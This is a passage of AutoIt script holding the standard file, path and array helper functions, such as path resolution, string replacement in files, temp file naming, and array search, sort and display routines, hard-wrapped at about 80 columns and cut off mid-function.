If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
Local $hfile = FileOpen($sfile, $fo_overwrite)
If $hfile = -1 Then Return SetError(3, 0, 0)
$sread_file = ""
For $i = 1 To $asplit_file[0]
If $i = $iline Then
If $foverwrite = 1 Then
If $stext <> "" Then $sread_file &= $stext & @CR
LF
Else
$sread_file &= $stext & @CRLF & $asplit_file[$i]
& @CRLF
EndIf
ElseIf $i < $asplit_file[0] Then
$sread_file &= $asplit_file[$i] & @CRLF
ElseIf $i = $asplit_file[0] Then
$sread_file &= $asplit_file[$i]
EndIf
Next

FileWrite($hfile, $sread_file)
FileClose($hfile)
Return 1
EndFunc
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
Local $sfullpath = StringReplace($srelativepath, "/", "\")
Local Const $sfullpathconst = $sfullpath
Local $spath
Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullp
ath, 2, 1) <> "\"
For $i = 1 To 2
$spath = StringLeft($sfullpath, 2)
If $spath = "\\" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
Local $nserverlen = StringInStr($sfullpath, "\") - 1
$spath = "\\" & StringLeft($sfullpath, $nserverlen)
$sfullpath = StringTrimLeft($sfullpath, $nserverlen)
ExitLoop
ElseIf StringRight($spath, 1) = ":" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
ExitLoop
Else
$sfullpath = $sbasepath & "\" & $sfullpath
EndIf
Next
If $i = 3 Then Return ""
If StringLeft($sfullpath, 1) <> "\" Then
If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Th
en
$sfullpath = $sbasepath & "\" & $sfullpath
Else
$sfullpath = "\" & $sfullpath
EndIf
EndIf
Local $atemp = StringSplit($sfullpath, "\")
Local $apathparts[$atemp[0]], $j = 0
For $i = 2 To $atemp[0]
If $atemp[$i] = ".." Then
If $j Then $j -= 1
ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i]
<> "." Then
$apathparts[$j] = $atemp[$i]
$j += 1
EndIf
Next
$sfullpath = $spath
If NOT $brootonly Then
For $i = 0 To $j - 1
$sfullpath &= "\" & $apathparts[$i]
Next
Else
$sfullpath &= $sfullpathconst
If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sf
ullpath)
EndIf
While StringInStr($sfullpath, ".\")
$sfullpath = StringReplace($sfullpath, ".\", "\")
WEnd

Return $sfullpath
EndFunc
Func _pathgetrelative($sfrom, $sto)
If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
If StringRight($sto, 1) <> "\" Then $sto &= "\"
If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
Local $asfrom = StringSplit($sfrom, "\")
Local $asto = StringSplit($sto, "\")
If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($st
o, 1))
Local $i = 2
Local $idiff = 1
While 1
If $asfrom[$i] <> $asto[$i] Then
$idiff = $i
ExitLoop
EndIf
$i += 1
WEnd
$i = 1
Local $srelpath = ""
For $j = 1 To $asto[0]
If $i >= $idiff Then
$srelpath &= "\" & $asto[$i]
EndIf
$i += 1
Next
$srelpath = StringTrimLeft($srelpath, 1)
$i = 1
For $j = 1 To $asfrom[0]
If $i > $idiff Then
$srelpath = "..\" & $srelpath
EndIf
$i += 1
Next
If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($sr
elpath, 1)
Return $srelpath
EndFunc
Func _pathmake($szdrive, $szdir, $szfname, $szext)
If StringLen($szdrive) Then
If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLe
ft($szdrive, 1) & ":"
EndIf
If StringLen($szdir) Then
If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdi
r, 1) = "/") Then $szdir = $szdir & "\"
EndIf
If StringLen($szext) Then
If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
EndIf
Return $szdrive & $szdir & $szfname & $szext
EndFunc
Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $sz
ext)
Local $drive = ""
Local $dir = ""

Local $fname = ""


Local $ext = ""
Local $pos
Local $array[5]
$array[0] = $szpath
If StringMid($szpath, 2, 1) = ":" Then
$drive = StringLeft($szpath, 2)
$szpath = StringTrimLeft($szpath, 2)
ElseIf StringLeft($szpath, 2) = "\\" Then
$szpath = StringTrimLeft($szpath, 2)
$pos = StringInStr($szpath, "\")
If $pos = 0 Then $pos = StringInStr($szpath, "/")
If $pos = 0 Then
$drive = "\\" & $szpath
$szpath = ""
Else
$drive = "\\" & StringLeft($szpath, $pos - 1)
$szpath = StringTrimLeft($szpath, $pos - 1)
EndIf
EndIf
Local $nposforward = StringInStr($szpath, "/", 0, -1)
Local $nposbackward = StringInStr($szpath, "\", 0, -1)
If $nposforward >= $nposbackward Then
$pos = $nposforward
Else
$pos = $nposbackward
EndIf
$dir = StringLeft($szpath, $pos)
$fname = StringRight($szpath, StringLen($szpath) - $pos)
If StringLen($dir) = 0 Then $fname = $szpath
$pos = StringInStr($fname, ".", 0, -1)
If $pos Then
$ext = StringRight($fname, StringLen($fname) - ($pos - 1))
$fname = StringLeft($fname, $pos - 1)
EndIf
$szdrive = $drive
$szdir = $dir
$szfname = $fname
$szext = $ext
$array[1] = $drive
$array[2] = $dir
$array[3] = $fname
$array[4] = $ext
Return $array
EndFunc
Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcase
ness = 0, $foccurance = 1)
Local $iretval = 0
Local $ncount, $sendswith
If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6,
0, -1)
Local $hfile = FileOpen($szfilename, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, -1)
Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
If StringRight($s_totfile, 2) = @CRLF Then
$sendswith = @CRLF
ElseIf StringRight($s_totfile, 1) = @CR Then
$sendswith = @CR
ElseIf StringRight($s_totfile, 1) = @LF Then

$sendswith = @LF
Else
$sendswith = ""
EndIf
Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
FileClose($hfile)
Local $hwritehandle = FileOpen($szfilename, $fo_overwrite)
If $hwritehandle = -1 Then Return SetError(2, 0, -1)
For $ncount = 1 To $afilelines[0]
If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness
) Then
$afilelines[$ncount] = StringReplace($afilelines[$ncount
], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
$iretval = $iretval + 1
If $foccurance = 0 Then
$iretval = 1
ExitLoop
EndIf
EndIf
Next
For $ncount = 1 To $afilelines[0] - 1
If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
FileClose($hwritehandle)
Return SetError(3, 0, -1)
EndIf
Next
If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[
$ncount] & $sendswith)
FileClose($hwritehandle)
Return $iretval
EndFunc
Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextensio
n = ".tmp", $i_randomlength = 7)
If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_di
rectoryname & "\"
Local $s_tempname
Do
$s_tempname = ""
While StringLen($s_tempname) < $i_randomlength
$s_tempname = $s_tempname & Chr(Random(97, 122, 1))
WEnd
$s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $
s_fileextension
Until NOT FileExists($s_tempname)
Return $s_tempname
EndFunc
Func _arrayadd(ByRef $avarray, $vvalue)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
Local $iubound = UBound($avarray)
ReDim $avarray[$iubound + 1]
$avarray[$iubound] = $vvalue
Return $iubound
EndFunc
Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)

If NOT IsArray($avarray) Then Return SetError(1, 0, -1)


If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
Local $imid = Int(($iend + $istart) / 2)
If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return
SetError(2, 0, -1)
While $istart <= $imid AND $vvalue <> $avarray[$imid]
If $vvalue < $avarray[$imid] Then
$iend = $imid - 1
Else
$istart = $imid + 1
EndIf
$imid = Int(($iend + $istart) / 2)
WEnd
If $istart > $iend Then Return SetError(3, 0, -1)
Return $imid
EndFunc
Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "")
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $in = UBound($avarray)
Local $ir = $iset
Local $aidx[$ir]
For $i = 0 To $ir - 1
$aidx[$i] = $i
Next
Local $itotal = __array_combinations($in, $ir)
Local $ileft = $itotal
Local $aresult[$itotal + 1]
$aresult[0] = $itotal
Local $icount = 1
While $ileft > 0
__array_getnext($in, $ir, $ileft, $itotal, $aidx)
For $i = 0 To $iset - 1
$aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
Next
If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresu
lt[$icount], 1)
$icount += 1
WEnd
Return $aresult
EndFunc
Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart
= 0)
If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0)
If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0)
If UBound($avarraytarget, 0) <> 1 Then
If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0)
Return SetError(3, 0, 0)
EndIf
If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0)
Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource
= UBound($avarraysource)
ReDim $avarraytarget[$iuboundtarget + $iuboundsource]
For $i = $istart To $iuboundsource - 1

$avarraytarget[$iuboundtarget + $i] = $avarraysource[$i]


Next
Return $iuboundtarget + $iuboundsource
EndFunc
Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 =
0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v
_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0)
Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $
v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19,
$v_20]
ReDim $av_array[@NumParams]
Return $av_array
EndFunc
Func _arraydelete(ByRef $avarray, $ielement)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $iubound = UBound($avarray, 1) - 1
If NOT $iubound Then
$avarray = ""
Return 0
EndIf
If $ielement < 0 Then $ielement = 0
If $ielement > $iubound Then $ielement = $iubound
Switch UBound($avarray, 0)
Case 1
For $i = $ielement To $iubound - 1
$avarray[$i] = $avarray[$i + 1]
Next
ReDim $avarray[$iubound]
Case 2
Local $isubmax = UBound($avarray, 2) - 1
For $i = $ielement To $iubound - 1
For $j = 0 To $isubmax
$avarray[$i][$j] = $avarray[$i + 1][$j]
Next
Next
ReDim $avarray[$iubound][$isubmax + 1]
Case Else
Return SetError(3, 0, 0)
EndSwitch
Return $iubound
EndFunc
Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $i
itemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "
")
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1)
- 1, $isubmax = UBound($avarray, 2) - 1
If $idimension > 2 Then Return SetError(2, 0, 0)
If $sseparator = "" Then $sseparator = Chr(124)
If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then
For $x = 1 To 255
If $x >= 32 AND $x <= 127 Then ContinueLoop
Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0,
1)
If $sfind = -1 Then
$sseparator = Chr($x)
ExitLoop

EndIf
Next
EndIf
Local $vtmp, $ibuffer = 64
Local $icollimit = 250
Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Op
t("GUIDataSeparatorChar", $sseparator)
If $isubmax < 0 Then $isubmax = 0
If $itranspose Then
$vtmp = $iubound
$iubound = $isubmax
$isubmax = $vtmp
EndIf
If $isubmax > $icollimit Then $isubmax = $icollimit
If $iitemlimit < 1 Then $iitemlimit = $iubound
If $iubound > $iitemlimit Then $iubound = $iitemlimit
If $sheader = "" Then
$sheader = "Row "
For $i = 0 To $isubmax
$sheader &= $sseparator & "Col " & $i
Next
EndIf
Local $avarraytext[$iubound + 1]
For $i = 0 To $iubound
$avarraytext[$i] = "[" & $i & "]"
For $j = 0 To $isubmax
If $idimension = 1 Then
If $itranspose Then
$vtmp = $avarray[$j]
Else
$vtmp = $avarray[$i]
EndIf
Else
If $itranspose Then
$vtmp = $avarray[$j][$i]
Else
$vtmp = $avarray[$i][$j]
EndIf
EndIf
$vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0,
1)
$avarraytext[$i] &= $sseparator & $vtmp
$vtmp = StringLen($vtmp)
If $vtmp > $ibuffer Then $ibuffer = $vtmp
Next
Next
$ibuffer += 1
Local Const $_arrayconstant_gui_dockborders = 102
Local Const $_arrayconstant_gui_dockbottom = 64
Local Const $_arrayconstant_gui_dockheight = 512
Local Const $_arrayconstant_gui_dockleft = 2
Local Const $_arrayconstant_gui_dockright = 4
Local Const $_arrayconstant_gui_event_close = -3
Local Const $_arrayconstant_lvif_param = 4
Local Const $_arrayconstant_lvif_text = 1
Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
Local Const $_arrayconstant_lvm_insertitemw = (4096 + 77)
Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)

Local Const $_arrayconstant_lvm_setitemw = (4096 + 76)


Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
Local Const $_arrayconstant_lvs_ex_gridlines = 1
Local Const $_arrayconstant_lvs_showselalways = 8
Local Const $_arrayconstant_ws_ex_clientedge = 512
Local Const $_arrayconstant_ws_maximizebox = 65536
Local Const $_arrayconstant_ws_minimizebox = 131072
Local Const $_arrayconstant_ws_sizebox = 262144
Local Const $_arrayconstant_taglvitem = "int Mask;int Item;int SubItem;i
nt State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int G
roupID;int Columns;ptr pColumns"
Local $iaddmask = BitOR($_arrayconstant_lvif_text, $_arrayconstant_lvif_
param)
Local $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]"), $pbuff
er = DllStructGetPtr($tbuffer)
Local $titem = DllStructCreate($_arrayconstant_taglvitem), $pitem = DllS
tructGetPtr($titem)
DllStructSetData($titem, "Param", 0)
DllStructSetData($titem, "Text", $pbuffer)
DllStructSetData($titem, "TextMax", $ibuffer)
Local $iwidth = 640, $iheight = 480
Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, Bi
tOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_
ws_maximizebox))
Local $aiguisize = WinGetClientSize($hgui)
Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0],
$aiguisize[1] - 26, $_arrayconstant_lvs_showselalways)
Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 2
3, $aiguisize[0] - 6, 20)
GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders)
GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstan
t_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheigh
t)
GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle,
$_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle,
$_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle,
$_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
Local $aitem
For $i = 0 To $iubound
If GUICtrlCreateListViewItem($avarraytext[$i], $hlistview) = 0 T
hen
$aitem = StringSplit($avarraytext[$i], $sseparator)
DllStructSetData($tbuffer, "Text", $aitem[1])
DllStructSetData($titem, "Item", $i)
DllStructSetData($titem, "SubItem", 0)
DllStructSetData($titem, "Mask", $iaddmask)
GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_insertite
mw, 0, $pitem)
DllStructSetData($titem, "Mask", $_arrayconstant_lvif_te
xt)
For $j = 2 To $aitem[0]
DllStructSetData($tbuffer, "Text", $aitem[$j])
DllStructSetData($titem, "SubItem", $j - 1)
GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_s
etitemw, 0, $pitem)
Next
EndIf
Next

$iwidth = 0
For $i = 0 To $isubmax + 1
$iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcol
umnwidth, $i, 0)
Next
If $iwidth < 250 Then $iwidth = 230
$iwidth += 20
If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
GUISetState(@SW_SHOW, $hgui)
While 1
Switch GUIGetMsg()
Case $_arrayconstant_gui_event_close
ExitLoop
Case $hcopy
Local $sclip = ""
Local $aicuritems[1] = [0]
For $i = 0 To GUICtrlSendMsg($hlistview, $_array
constant_lvm_getitemcount, 0, 0)
If GUICtrlSendMsg($hlistview, $_arraycon
stant_lvm_getitemstate, $i, 2) Then
$aicuritems[0] += 1
ReDim $aicuritems[$aicuritems[0]
+ 1]
$aicuritems[$aicuritems[0]] = $i
EndIf
Next
If NOT $aicuritems[0] Then
For $sitem In $avarraytext
$sclip &= $sitem & @CRLF
Next
Else
For $i = 1 To UBound($aicuritems) - 1
$sclip &= $avarraytext[$aicurite
ms[$i]] & @CRLF
Next
EndIf
ClipPut($sclip)
EndSwitch
WEnd
GUIDelete($hgui)
Opt("GUIOnEventMode", $ioneventmode)
Opt("GUIDataSeparatorChar", $sdataseparatorchar)
Return 1
EndFunc
Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase
= 0, $ipartial = 0, $isubitem = 0)
$istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $ipart
ial, 1, $isubitem)
If @error Then Return SetError(@error, 0, -1)
Local $iindex = 0, $avresult[UBound($avarray)]
Do
$avresult[$iindex] = $istart
$iindex += 1
$istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $i
case, $ipartial, 1, $isubitem)
Until @error
ReDim $avresult[$iindex]
Return $avresult

EndFunc
Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $iubound = UBound($avarray) + 1
ReDim $avarray[$iubound]
For $i = $iubound - 1 To $ielement + 1 Step -1
$avarray[$i] = $avarray[$i - 1]
Next
$avarray[$ielement] = $vvalue
Return $iubound
EndFunc
Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
If @error Then Return SetError(@error, 0, "")
Return $avarray[$iresult]
EndFunc
Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend
= 0)
If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetErro
r(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, -1)
Local $imaxindex = $istart
If $icompnumeric Then
For $i = $istart To $iend
If Number($avarray[$imaxindex]) < Number($avarray[$i]) T
hen $imaxindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex =
$i
Next
EndIf
Return $imaxindex
EndFunc
Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
If @error Then Return SetError(@error, 0, "")
Return $avarray[$iresult]
EndFunc
Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend
= 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, -1)
Local $iminindex = $istart
If $icompnumeric Then

For $i = $istart To $iend


If Number($avarray[$iminindex]) > Number($avarray[$i]) T
hen $iminindex = $i
Next
Else
For $i = $istart To $iend
If $avarray[$iminindex] > $avarray[$i] Then $iminindex =
$i
Next
EndIf
Return $iminindex
EndFunc
Func _arraypermute(ByRef $avarray, $sdelim = "")
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresul
t[1], $icount = 1
For $i = 0 To $isize - 1
$aidx[$i] = $i
Next
For $i = $isize To 1 Step -1
$ifactorial *= $i
Next
ReDim $aresult[$ifactorial + 1]
$aresult[0] = $ifactorial
__array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $i
count)
Return $aresult
EndFunc
Func _arraypop(ByRef $avarray)
If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "")
Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound]
If NOT $iubound Then
$avarray = ""
Else
ReDim $avarray[$iubound]
EndIf
Return $slastval
EndFunc
Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
Local $iubound = UBound($avarray) - 1
If IsArray($vvalue) Then
Local $iubounds = UBound($vvalue)
If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
If $idirection Then
For $i = $iubound To $iubounds Step -1
$avarray[$i] = $avarray[$i - $iubounds]
Next
For $i = 0 To $iubounds - 1
$avarray[$i] = $vvalue[$i]
Next
Else
For $i = 0 To $iubound - $iubounds
$avarray[$i] = $avarray[$i + $iubounds]

Next
For $i = 0 To $iubounds - 1
$avarray[$i + $iubound - $iubounds + 1] = $vvalu
e[$i]
Next
EndIf
Else
If $idirection Then
For $i = $iubound To 1 Step -1
$avarray[$i] = $avarray[$i - 1]
Next
$avarray[0] = $vvalue
Else
For $i = 0 To $iubound - 1
$avarray[$i] = $avarray[$i + 1]
Next
$avarray[$iubound] = $vvalue
EndIf
EndIf
Return 1
EndFunc
Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
Local $vtmp, $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
For $i = $istart To Int(($istart + $iend - 1) / 2)
$vtmp = $avarray[$i]
$avarray[$i] = $avarray[$iend]
$avarray[$iend] = $vtmp
$iend -= 1
Next
Return 1
EndFunc
Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase
= 0, $ipartial = 0, $iforward = 1, $isubitem = -1)
If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetErr
or(2, 0, -1)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(4, 0, -1)
Local $istep = 1
If NOT $iforward Then
Local $itmp = $istart
$istart = $iend
$iend = $itmp
$istep = -1
EndIf
Switch UBound($avarray, 0)
Case 1
If NOT $ipartial Then
If NOT $icase Then
For $i = $istart To $iend Step $istep
If $avarray[$i] = $vvalue Then R

eturn $i
Next
Else
For $i = $istart To $iend Step $istep
If $avarray[$i] == $vvalue Then
Return $i
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If StringInStr($avarray[$i], $vvalue, $i
case) > 0 Then Return $i
Next
EndIf
Case 2
Local $iuboundsub = UBound($avarray, 2) - 1
If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
If $isubitem < 0 Then
$isubitem = 0
Else
$iuboundsub = $isubitem
EndIf
For $j = $isubitem To $iuboundsub
If NOT $ipartial Then
If NOT $icase Then
For $i = $istart To $iend Step $
istep
If $avarray[$i][$j] = $v
value Then Return $i
Next
Else
For $i = $istart To $iend Step $
istep
If $avarray[$i][$j] == $
vvalue Then Return $i
Next
EndIf
Else
For $i = $istart To $iend Step $istep
If StringInStr($avarray[$i][$j],
$vvalue, $icase) > 0 Then Return $i
Next
EndIf
Next
Case Else
Return SetError(7, 0, -1)
EndSwitch
Return SetError(6, 0, -1)
EndFunc
Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubi
tem = 0)
If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
Local $iubound = UBound($avarray) - 1
If $iend < 1 OR $iend > $iubound Then $iend = $iubound
If $istart < 0 Then $istart = 0
If $istart > $iend Then Return SetError(2, 0, 0)
Switch UBound($avarray, 0)
Case 1
__arrayquicksort1d($avarray, $istart, $iend)

If $idescending Then _arrayreverse($avarray, $istart, $i


end)
Case 2
Local $isubmax = UBound($avarray, 2) - 1
If $isubitem > $isubmax Then Return SetError(3, 0, 0)
If $idescending Then
$idescending = -1
Else
$idescending = 1
EndIf
__arrayquicksort2d($avarray, $idescending, $istart, $ien
d, $isubitem, $isubmax)
Case Else
Return SetError(4, 0, 0)
EndSwitch
Return 1
EndFunc
Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend)
If $iend <= $istart Then Return
Local $vtmp
If ($iend - $istart) < 15 Then
Local $vcur
For $i = $istart + 1 To $iend
$vtmp = $avarray[$i]
If IsNumber($vtmp) Then
For $j = $i - 1 To $istart Step -1
$vcur = $avarray[$j]
If ($vtmp >= $vcur AND IsNumber($vcur))
OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
$avarray[$j + 1] = $vcur
Next
Else
For $j = $i - 1 To $istart Step -1
If (StringCompare($vtmp, $avarray[$j]) >
= 0) Then ExitLoop
$avarray[$j + 1] = $avarray[$j]
Next
EndIf
$avarray[$j + 1] = $vtmp
Next
Return
EndIf
Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend)
/ 2)], $fnum = IsNumber($vpivot)
Do
If $fnum Then
While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])
) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
$l += 1
WEnd
While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])
) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
$r -= 1
WEnd
Else
While (StringCompare($avarray[$l], $vpivot) < 0)
$l += 1
WEnd
While (StringCompare($avarray[$r], $vpivot) > 0)

$r -= 1
WEnd
EndIf
If $l <= $r Then
$vtmp = $avarray[$l]
$avarray[$l] = $avarray[$r]
$avarray[$r] = $vtmp
$l += 1
$r -= 1
EndIf
Until $l > $r
__arrayquicksort1d($avarray, $istart, $r)
__arrayquicksort1d($avarray, $l, $iend)
EndFunc
Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend
, ByRef $isubitem, ByRef $isubmax)
If $iend <= $istart Then Return
Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart +
$iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
Do
If $fnum Then
While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0
AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem])
AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
$l += 1
WEnd
While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0
AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem])
AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
$r -= 1
WEnd
Else
While ($istep * StringCompare($avarray[$l][$isubitem], $
vpivot) < 0)
$l += 1
WEnd
While ($istep * StringCompare($avarray[$r][$isubitem], $
vpivot) > 0)
$r -= 1
WEnd
EndIf
If $l <= $r Then
For $i = 0 To $isubmax
$vtmp = $avarray[$l][$i]
$avarray[$l][$i] = $avarray[$r][$i]
$avarray[$r][$i] = $vtmp
Next
$l += 1
$r -= 1
EndIf
Until $l > $r
